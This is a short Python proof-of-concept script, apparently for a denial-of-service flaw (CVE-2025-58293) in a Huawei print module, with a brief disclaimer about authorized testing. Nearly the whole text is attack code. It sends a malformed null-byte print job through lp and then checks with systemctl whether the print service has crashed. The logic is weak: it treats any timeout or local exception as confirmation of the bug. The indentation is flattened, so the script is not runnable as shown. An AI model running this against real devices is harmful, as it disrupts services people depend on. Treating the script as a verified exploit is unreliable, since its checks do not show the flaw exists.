The following code is for security research and authorized testing only.
python
# CVE-2025-58293 PoC - Huawei Print Module Improper Exception Handling
# This PoC demonstrates the concept of triggering improper exception handling
# in the print module to cause denial of service.
import subprocess
import time
import sys
def trigger_print_exception(target_device_ip=None, local=True):
"""
Attempt to trigger improper exception handling in Huawei print module.
The vulnerability requires:
- Local access (AV:L)
- No authentication required (PR:N)
- User interaction (UI:R)
Args:
target_device_ip: IP address of target Huawei device (if remote testing)
local: Whether to execute locally on the device
"""
if local:
print("[*] Executing PoC locally on the Huawei device...")
# Step 1: Prepare malicious print job with malformed data
# The print module fails to handle exceptions when processing
# certain malformed print inputs
malformed_print_data = b"\x00" * 4096 # Null bytes to trigger exception
try:
# Step 2: Send malformed print job to trigger exception
# This simulates sending a print job with invalid/corrupted data
# that the print module cannot handle gracefully
print("[*] Sending malformed print job to trigger exception...")
# Attempt to invoke print service with malformed input
result = subprocess.run(
["lp", "-d", "huawei_printer", "-"],
input=malformed_print_data,
capture_output=True,
timeout=5
)
except subprocess.TimeoutExpired:
print("[+] Print module may have become unresponsive!")
print("[+] Potential DoS condition triggered.")
except Exception as e:
print(f"[*] Exception occurred: {e}")
print("[+] This indicates improper exception handling in the print module.")
else:
print(f"[*] Targeting device: {target_device_ip}")
print("[!] Note: This vulnerability requires local access (AV:L)")
print("[!] Remote exploitation is not directly possible.")
def check_print_service_status():
"""Check if the print service is still running after exploitation."""
try:
result = subprocess.run(
["systemctl", "status", "print_service"],
capture_output=True,
timeout=5
)
if result.returncode != 0:
print("[+] Print service appears to be down - DoS confirmed!")
else:
print("[*] Print service is still running.")
except Exception as e:
print(f"[*] Unable to check service status: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-58293 - Huawei Print Module Exception Handling PoC")
print("CVSS: 5.5 (MEDIUM) | AV:L/AC:L/PR:N/UI:R/C:N/I:N/A:H")
print("=" * 60)
trigger_print_exception(local=True)
time.sleep(2)
check_print_service_status()